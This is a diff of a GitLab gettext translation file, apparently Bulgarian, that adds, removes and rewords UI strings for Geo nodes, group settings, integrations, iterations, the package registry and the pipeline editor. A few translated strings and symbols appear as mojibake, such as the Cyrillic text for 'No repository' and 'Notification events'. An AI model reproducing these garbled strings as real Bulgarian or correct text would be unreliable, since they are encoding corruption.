-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Медиана"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "ÐÑма хранилище"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Ð¡ÑŠÐ±Ð¸Ñ‚Ð¸Ñ Ð·Ð° извеÑÑ‚Ñване"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Общо:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
